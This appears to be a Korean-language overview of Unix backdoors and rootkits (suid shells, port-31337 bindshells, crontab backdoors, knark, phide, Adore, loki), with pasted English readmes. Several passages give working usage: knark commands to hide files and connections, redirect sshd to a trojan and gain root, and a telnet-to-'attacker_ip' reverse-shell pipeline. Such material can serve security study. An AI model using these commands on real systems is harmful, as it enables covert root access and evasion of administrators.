Overview
또한, 트로이 목마(Trojan Horse)는 특권을 가진 사용자의 실수 혹은 간접적인 협조를 통하여 수동적으로 이루어진다는 점에서 백도어와는 다르다. 최근에 발견되는 트로이 목마 혹은 백도어 프로그램은 바이러스 혹은 웜의 형태로 동작하기도 하며, 구분이 모호한 경우가 많다.
게다가, 스파이웨어(Spyware)는 쉐어웨어와 같은 소프트웨어의 배포자가 사전에 사용자의 동의를 얻어 사용자의 인터넷 사용습관(인터넷 쇼핑등 소비형태) 등과 같은 정보를 빼내어 마케팅을 위한 자료로 활용하기도 한다. 그러나, 비영어권 사용자의 경우, 이러한 사항에 대해 미처 인식하지 못한 상태에서 이루어지므로 주의깊게 읽어보고 사용하는 습관을 들여야 할 것이다.
프로그램을 적절한 형태로 변형하거나 쉽게 찾기 어려운 디렉토리에
숨겨두는 형태이다. 이때 특권을 얻은 상태에서 setuid 비트를 설정해 놓음으로써
나중에 attacker는 단지 이 프로그램을 실행하는 것만으로 특권을 획득할 수 있다.
Note: Solaris 시스템과 몇몇 LINUX 시스템에서는 두가지 종류의 쉘(bash)를
제공하여, 실행시 -p (privilege) 옵션을 가지고 실행되어야 effective user id가
변경되는 경우도 있다.
이 예제는 C 언어로 작성된, 쉘을 수행시키는 간단한 프로그램이다. setuid 비트가
설정된 상태로 실행되어, 유효사용자아이디(effective userid; euid)를 이용하여,
실제사용자아이디(real userid; uid)를 변경시키는 루틴을 포함하고 있다.
Note: 실제사용자아이디는 유효사용자아이디가 0(root)인 사용자만 변경할 수 있다.
이 프로그램은 TCP 포트(31337) 포트에 쉘을 bind 시켜두고, 원격에서
telnet 이나 nc(netcat) 같은 프로그램으로 31337 포트에 접속하면, 로그인 인증
절차없이 바로 루트 쉘을 획득할 수 있다. 단, telnet을 이용하는 경우, 명령어 끝에�
명령어 분리자(;)를 포함시켜야 한다.
Note: This is a backdoor program which can be accessed remotely as telnetd. TDM can not use telnet, rlogin, and ftp command, but this backdoor can use such command. However, you have to specify the correctry return code in the telnet client. If you can not change the return code, the "CR" code will be added and sent, so you type";" at the tail of your command.
이 프로그램은 perl 스크립트 언어로 만들어진 루트 쉘 백도어이다. 서버인 audpserver 프로그램이 UDP 포트(520;route)에 쉘을 바인딩시켜 놓고, 클라이언트인 audpclient 프로그램으로 접속하도록 되어있다.
crontab 파일에 백도어 프로그램을 등록시켜둠으로써, 지정한 시간대(관리자가 없는) 에 프로그램이 실행되도록 한 백도어이다. 이와 같은 방법은 파일 시스템이나 프로세스 목록에 나타나지 않아 관리자가 쉽게 발견하기 힘든 점을 이용한 것이다. 이 프로그램은 새벽 2시에 동작하여 TCP port 31337을 열어두고, 1시간후 프로세스를 kill하여 흔적을 제거하는 방식으로 동작한다.
This packages includes the following: bindshell port/shell type daemon! chfn Trojaned! User->r00t chsh Trojaned! User->r00t crontab Trojaned! Hidden Crontab Entries du Trojaned! Hide files find Trojaned! Hide files fix File fixer! ifconfig Trojaned! Hide sniffing inetd Trojaned! Remote access killall Trojaned! Wont kill hidden processes linsniffer Packet sniffer! login Trojaned! Remote access ls Trojaned! Hide files netstat Trojaned! Hide connections passwd Trojaned! User->r00t pidof Trojaned! Hide processes ps Trojaned! Hide processes rshd Trojaned! Remote access sniffchk Program to check if sniffer is up and running syslogd Trojaned! Hide logs tcpd Trojaned! Hide connections, avoid denies top Trojaned! Hide processes wted wtmp/utmp editor! z2 Zap2 utmp/wtmp/lastlog eraser!
이 프로그램은 CGI 인터페이스를 이용한 백도어이다. 서버가 웹서버의 /cgi-bin 디렉토리에 설치되어 있기만 하면, 리모트에서 클라이언트 프로그램을 이용하여 접근할 수 있다.
이 프로그램은 lynx와 같은 텍스트 기반의 브라우저를 이용하여 접근하고, 패스워드를 이용하여 자신만이 이용할 수 있도록 작성되어 있다.
kbd is a nice little backdoor that allows root access by modifing the SYS_stat and SYS_getuid system calls. Usage after insmod is fairly strait forward: 1. login as a normal user 2. host:~$ touch foobar 3. login again under the *same* username 4. the second login session will be given root privileges host:~# id uid=0(root) gid=0(root) groups=100(users) 5. Remember to repeat this procedure everytime you plan on using the backdoor. To keep this cover, the special uid resets after root is given out, this prevents the legitimate owner of the account from receiving a suspicious root shell when he/she logs in.
This kernel module backdoor hides the process and its child processes. Compiling instructions: ======================= phide_mod.c gcc -c -fomit-frame-pointer -O2 phide_mod.c phide.c gcc -o phide -O2 phide.c Add -DONLY_ROOT_CAN_HIDE when compiling phide_mod.c if you don't want non root users to be able to hide processes. Usage for dummies: ================== If you read the source instead, you can skip this section => apelsin:~/kernel/phide$ gcc -o phide -O2 phide.c apelsin:~/kernel/phide$ gcc -c -fomit-frame-pointer -O2 phide_mod.c apelsin:~/kernel/phide$ su - Password: apelsin:~# insmod ~tm/kernel/phide/phide_mod.o apelsin:~# exit apelsin:~/kernel/phide$ ps a PID TTY STAT TIME COMMAND 156 ttyp0 S 0:00 -bash 729 ttyp0 R 0:00 ps a apelsin:~/kernel/phide$ ./phide +156 apelsin:~/kernel/phide$ ps a PID TTY STAT TIME COMMAND Note! Our ps command wont be shown since it's a child of our shell session which we just hid. apelsin:~/kernel/phide$ ./phide -156 apelsin:~/kernel/phide$ ps a PID TTY STAT TIME COMMAND 156 ttyp0 S 0:00 -bash 771 ttyp0 R 0:00 ps a
hidef Used to hide files on the system.
Create your hax0r-directory /usr/lib/.hax0r, and type:
./hidef /usr/lib/.hax0r
Now this directory will be hidden, and won't be shown by ls or du.
Subdirs and files will be hidden as well, so you don't have to
hidef anything you put in this directory.
unhidef Used to unhide hidden files. You can cat /proc/knark/files if you've
forgotten which files you've hidden. Type:
./unhidef /usr/lib/.hax0r
to make your previously hidden directory visible again.
However, there is a bug in the module which makes directory trees
start from their mount-point. This means, if you have a filesystem
mounted to /mnt, and you hide the file /mnt/secret, this file will
mounted to /mnt, and you hide the file /mnt/secret, this file will
show up as /secret in /proc/knark/files. Files in the root-filesystem
aren't affected.
ered Used to configure exec-redirection.
Copy your sshd trojan to /usr/lib/.hax0r/sshd_trojan, and type:
./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan
Now, when /usr/local/sbin/sshd is supposed to be executed, your
trojan program will be executed instead. To clear all exec-redirection
entries, type:
./ered -c
nethide Used to hide strings in /proc/net/tcp and /proc/net/udp. This is
where netstat gets it's information. Type:
./nethide ":ABCD "
to hide connections to/from port ABCD hex (43981 dec). This will
"grep -v" the line ":ABCD " from /proc/net/[tcp|udp].
You have to understand the output from /proc/net/[tcp|udp] to use
this program. Lets say that you have sshd running on your box.
Connect to localhost port 22, and type:
netstat -at
One of the lines looks like this:
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED
And now, lets check /proc/net/tcp. Type:
cat /proc/net/tcp
One of the lines looks like this:
local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000
If we want to hide everything about ip-address 127.0.0.1, we have to
translate it to this format. Start with 127: 7F in hex. Then 0: 00
in hex, which gives us 007F. And 0 again: 00007F, and at last 1
which gives us the number 0100007F. Now, if we want to hide
everything about port 22 and ip-address 127.0.0.1 it looks like this:
0100007F:0016 (0016 is port 22 in hex). So, typing:
./nethide "0100007F:0016" will hide connections to/from localhost
port 22, and typing:
./nethide ":ABCD " will remove all lines containing ":ABCD ". It's
like "grep -v". Do you get it? :-)
rootme Used to gain root-access without using suid programs. Type:
./rootme /bin/sh
to execute /bin/sh with root-privs. This will also work:
./rootme /bin/ls -l /root
You have to type the whole path-name of the binary to execute.
taskhack Used to change *uid's and *gid's of running processes. Type:
./taskhack -alluid=0 pid
This will change all *uid's (uid, euid, suid, fsuid) of process
"pid" to 0 (root). Type:
ps aux | grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
Now, we want to change the euid of this process to 0 (root). Type:
./taskhack -euid=0 91
ps aux | grep bash
root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
Isn't this just great? :-).
클라이언트(loki)는 ICMP 혹은 UDP 헤더에 명령을 포함시켜 전달하고, 서버(lokid)는 결과를 헤더에 포함시켜 전달함으로써, 방화벽이 설치된 네트워크에서 비밀통신을 할 수 있도록 만들어진 백도어이다.
Usage: 1. Server-Side (= Target System) ~# ./lokid -p i -v 1 2. Client-Side (= Attacker's System) ~# ./loki -d target_ip -p i -v 1 -t 3 loki>
방화벽이 설치되어 특정 포트에 대해서만 네트워크 트래픽을 허용하는 상황에서 허가된 포트를 이용하여 텔넷 세션을 에뮬레이트하도록 쉘을 특정 포트에 바인딩시키고, 그 출력을 또 다른 포트를 통해 전달함으로써 세션을 확립하는 백도어이다.
Usage:
1. Server-Side (= Attacker's System)
~# nc -nvv -l -p 80
and, in the other window
~# nc -nvv -l -p 25
2. Client-Side (= Target System)
~# sleep 10000 | telnet attacker_ip 80 | /bin/sh | telnet attacker_ip 25
Adore is a linux LKM based rootkit. Features smart PROMISC flag hiding, persistant file and directory hiding (still hidden after reboot), process-hiding, netstat hiding, rootshell-backdoor, and an uninstall routine. Includes a userspace program to control everything. Changes: Improved promisc hiding, port hiding fixed, and a readme. Homepage here. By Stealth.
A basic backdoor program, but with a couple of neat features that "secure" the backdoor from being widely misused.
kernel module which allows administrators to log all the commands executed by users
References & Links